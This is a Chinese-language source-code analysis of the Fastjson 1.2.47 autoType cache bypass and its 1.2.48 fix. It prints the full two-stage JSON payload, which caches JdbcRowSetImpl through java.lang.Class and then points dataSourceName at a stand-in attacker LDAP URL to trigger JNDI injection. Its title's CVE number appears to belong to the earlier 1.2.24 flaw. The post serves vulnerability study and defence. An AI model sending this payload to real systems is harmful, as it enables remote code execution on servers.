)
Fastjson 1.2.47 autoType 缓存绕过分析CVE-2017-18349写在前面1.2.24 那篇结尾我们说1.2.25 加了checkAutoType 黑名单把“裸奔”的 autoType 关进了笼子。官方以为稳了结果 1.2.47 被人借着缓存绕了个底朝天–而且不用开启 autoType。1.2.47 的复现我写过一篇这里那篇讲的是“环境 触发 截图”。这篇换个角度纯源码把checkAutoType的黑名单逻辑、MiscCodec处理java.lang.Class的副作用、TypeUtils.loadClass的缓存机制一行行拆开看搞清楚“写入缓存”和“命中缓存”到底发生在代码的哪一步。跟 1.2.24 那篇一样本文只讲源码机制不复现。一、漏洞简介漏洞组件Alibaba fastjson影响版本1.2.25 ≤ version ≤ 1.2.47漏洞类型autoType 黑名单绕过导致反序列化 RCE修复版本1.2.48特点无需开启 autoType默认配置即可利用比 1.2.24 时代的“需开 autoType”更隐蔽根因checkAutoType先查缓存、后查黑名单而MiscCodec处理java.lang.Class时会以cachetrue把任意类名塞进缓存二、1.2.25 的防御checkAutoType 黑名单要看懂绕过先看懂防御。1.2.25 在TypeUtils.loadClass之前插了一个ParserConfig.checkAutoType它是 autoType 的“安检口”。2.1 黑名单的演进黑名单本身经历过两代1.2.25 ~ 1.2.41明文前缀黑名单。denyList是字符串数组匹配方式className.startsWith(denyList[i])。缺点一目了然–类名改改前后缀就能绕1.2.41 的L前缀绕过就是这么来的Lcom.sun.rowset.JdbcRowSetImpl;开头不匹配com.sun.rowset。1.2.42 起哈希黑名单。改成denyHashCodeslong 数组用TypeUtils.fnv1a_64(className)算哈希再比对。明文类名不再出现在代码里逆向难度上升。但哈希黑名单仍是黑名单本质没变–还是“已知危险类的清单”。// checkAutoType 的黑名单匹配1.2.42 风格longhashTypeUtils.fnv1a_64(className);for(inti0;idenyHashCodes.length;i){if(hashdenyHashCodes[i]){thrownewJSONException(autoType is not support. typeName);// 命中即拒}}JdbcRowSetImpl这类经典 gadget 的哈希自然早就在denyHashCodes里了。所以“正面硬刚黑名单”在 1.2.47 是行不通的–绕过必须另寻出路。2.2 checkAutoType 的整体结构把 1.2.47 版本的checkAutoType拍平大致是三段查缓存 - 查黑名单 - 加载类。关键在于这三段的顺序// ParserConfig.checkAutoType (fastjson 1.2.47结构简化)publicClass?checkAutoType(StringtypeName,Class?expectClass){if(typeNamenull)returnnull;finalStringclassNametypeName.replace($,.);// ① 先查缓存★ 这一步在黑名单之前--命门所在Class?clazzTypeUtils.getClassFromMapping(typeName);if(clazznull){clazzdeserializers.findClass(typeName);// 内置反序列化器里找}if(clazz!null){if(expectClassnull||expectClass.isAssignableFrom(clazz)){returnclazz;// ★★★ 缓存命中 - 直接返回黑名单根本不执行}}// ② 黑名单检查只有缓存没命中才会走到这里if(autoTypeSupport||expectClassnull){longhashTypeUtils.fnv1a_64(className);for(inti0;idenyHashCodes.length;i){if(hashdenyHashCodes[i]){thrownewJSONException(autoType is not support. typeName);}}...// acceptList 等}// ③ 真正加载类clazzTypeUtils.loadClass(typeName,defaultClassLoader,autoTypeSupport);...returnclazz;}看出问题了吗第①步查缓存命中就直接return第②步黑名单检查被整个跳过。这意味着只要某个危险类已经躺在缓存里它再被type引用时checkAutoType会把它当成“已知的好类”放行–哪怕它的哈希在黑名单上。黑名单形同虚设。于是问题变成怎么把危险类提前塞进缓存–这就是“预先写入缓存”。三、写入入口MiscCodec 处理 java.lang.Classjava.lang.Class是 JDK 核心类本身无害自然不在黑名单。fastjson 用一个内置的MiscCodec来编解码它。而MiscCodec在反序列化Class时会“顺手”加载val字段里指定的类名–并且cachetrue。3.1 第一段 typejava.lang.Class 怎么过的安检payload 第一段a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}checkAutoType(java.lang.Class)时第①步查缓存java.lang.Class早就注册在deserializers里fastjson 启动时把内置类都注册了deserializers.findClass命中直接返回。它的哈希也不在denyHashCodes里谁会把java.lang.Class列为危险类呢。所以java.lang.Class畅通无阻交给MiscCodec反序列化。3.2 MiscCodec.deserialze读 val 并加载类MiscCodec处理Class时把 JSON 里的val字段当成类名字符串丢给TypeUtils.loadClass// MiscCodec.deserialze (fastjson 1.2.47处理 Class 分支)if(clazzClass.class){...StringstrVal/* 读 val 字段的值 */;// strVal com.sun.rowset.JdbcRowSetImpl...return(T)TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader(),true);// ★ cachetrue!}注意第三个参数cachetrue。回头看1.2.24 那篇的loadClasscachetrue时加载完会把类put进mappings缓存// TypeUtils.loadClass同 1.2.24见前篇 2.2clazzclassLoader.loadClass(className);if(cache){mappings.put(className,clazz);// ★ JdbcRowSetImpl 就这样进了 mappings}MiscCodec本意是“你给我一个类名我帮你拿到对应的 Class 对象”–这是Class作为属性的正常反序列化需求。但它把结果顺手缓存了而且用的类名来自用户输入的val。于是攻击者借java.lang.Class这只“无害的手”把JdbcRowSetImpl偷偷塞进了mappings。写入完成。3.3 第二段 type缓存命中黑名单被跳过payload 第二段b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击者:1389/Exploit,autoCommit:true}checkAutoType(com.sun.rowset.JdbcRowSetImpl)时第①步TypeUtils.getClassFromMapping(typeName)mappings里命中刚被第一段塞进去的expectClass null直接return clazz。第②步黑名单检查根本没执行。JdbcRowSetImpl虽然哈希在denyHashCodes上但安检口在第①步就放行了。类一返回JavaBeanDeserializer接手和 1.2.24 完全一样setDataSourceName存 URLsetAutoCommit(true)-connect()-InitialContext.lookup- JNDI 注入 - RCE。下半段细节见1.2.24 那篇的第三节。四、完整时序图把两段type串起来写入与命中一目了然┌─ 字段 a ──────────────────────────────────────────────────┐ │ type java.lang.Class, val JdbcRowSetImpl │ │ │ │ checkAutoType(java.lang.Class) │ │ ① 缓存查 deserializers - 命中(内置类) - 放行 │ │ ② 黑名单 - 不在表 - (本来也放行) │ │ │ │ MiscCodec.deserialze: │ │ 读 val - com.sun.rowset.JdbcRowSetImpl │ │ TypeUtils.loadClass(..., cachetrue) │ │ └ mappings.put(JdbcRowSetImpl) ★ 写入缓存 │ └────────────────────────────────────────────────────────────┘ ┌─ 字段 b ──────────────────────────────────────────────────┐ │ type com.sun.rowset.JdbcRowSetImpl │ │ │ │ checkAutoType(JdbcRowSetImpl) │ │ ① getClassFromMapping - 命中! - 直接 return │ │ ★ 第②步黑名单被跳过(虽然哈希在表上) │ │ │ │ JavaBeanDeserializer: │ │ setDataSourceName(ldap://攻击者) 存 URL │ │ setAutoCommit(true) │ │ └ connect() - InitialContext.lookup ★ JNDI 注入 │ │ └ 连 LDAP - 加载远程类 - RCE │ └────────────────────────────────────────────────────────────┘两段缺一不可第一段只写入缓存、不触发setter 没危险参数第二段才触发。它们靠同一个mappings缓存“隔空传递”a 写入b 读出。五、为什么“无需开启 autoType”这是 1.2.47 最让人后怕的地方。1.2.25 不是“默认关 autoType”了吗为什么关了还能打关键在于autoTypeSupport 开关卡的是第③步的loadClass和黑名单匹配范围但管不到第①步的缓存查询也管不到MiscCodec这个内置反序列化器。第一段java.lang.Class是内置类MiscCodec是它的内置反序列化器。fastjson 反序列化内置类型不走 autoTypeSupport 开关–你不能因为“关了 autoType”就连java.lang.Class都不认了吧所以MiscCodec照常工作它的loadClass(cachetrue)写入缓存也就照常发生。第二段checkAutoType第①步查缓存命中即返回这条返回路径不检查 autoTypeSupport。缓存里有就直接给。换句话说1.2.25 关掉的是“对外部未知类的 autoType”但java.lang.Class这条内置路径是个“后门通道”–它本该只服务于正常的Class属性反序列化却因为cachetrue这个副作用被用来给危险类开后门。autoTypeSupport 开关对此完全无感。这也是为什么复现时连setAutoTypeSupport(true)都不用配见复现篇–不是绕过了开关而是利用的路径根本不在开关管辖范围内。六、修复1.2.48官方在 1.2.48 从两头堵① MiscCodec 不再写入缓存–loadClass的cache改成false// 1.2.48 MiscCodecreturn(T)TypeUtils.loadClass(strVal,parser.getConfig().getDefaultClassLoader(),false);// ★ 不再进缓存写入通道关闭② checkAutoType 调整顺序–黑名单检查前移到缓存查询之前即使类在缓存里也先过黑名单// 1.2.48 checkAutoType结构变化// 先过黑名单if(autoTypeSupport||expectClassnull){longhashTypeUtils.fnv1a_64(className);for(inti0;idenyHashCodes.length;i){if(hashdenyHashCodes[i])throw...;// ★ 黑名单前置}}// 再查缓存Class?clazzTypeUtils.getClassFromMapping(typeName);...这样即使有人通过别的途径把危险类塞进了缓存黑名单也会在它被取出使用前拦下。双保险之后缓存绕过这条路才算堵死。后续 1.2.68 引入safeMode把 autoType 彻底禁用连内置路径都禁这是更根本的解法。1.2.80 又有Throwable异常类绕过但那已是 safeMode 之前最后的余波了。七、小结1.2.47 这篇我们看清了一个“绕过”是怎么炼成的不是正面破解黑名单而是找到防御逻辑里的顺序漏洞和副作用。三条教训检查的顺序就是安全边界checkAutoType先查缓存、后查黑名单这个顺序让“缓存命中”成了绕过黑名单的捷径。安全检查必须放在“使用”之前而不是之后。“缓存即信任”是个雷MiscCodec用cachetrue把用户输入的类名塞进缓存本意是性能优化却把“用户可控的输入”提升成了“可信缓存”。任何“缓存即信任”的设计都要警惕输入能否被写进缓存。内置路径往往是后门autoTypeSupport 开关卡住了外部未知类却管不到java.lang.Class这种内置反序列化路径。“默认关 autoType”给了假的安全感–真正的默认安全得像safeMode那样连内部路径一起关。至此fastjson 的 autoType 从“裸奔”1.2.24到“加锁”1.2.25再到“绕锁”1.2.47这条主线就串完了。官方在 1.2.68 用safeMode画上句号也印证了那句反复出现的话黑名单不是防御只是延迟。参考fastjson GitHubhttps://github.com/alibaba/fastjson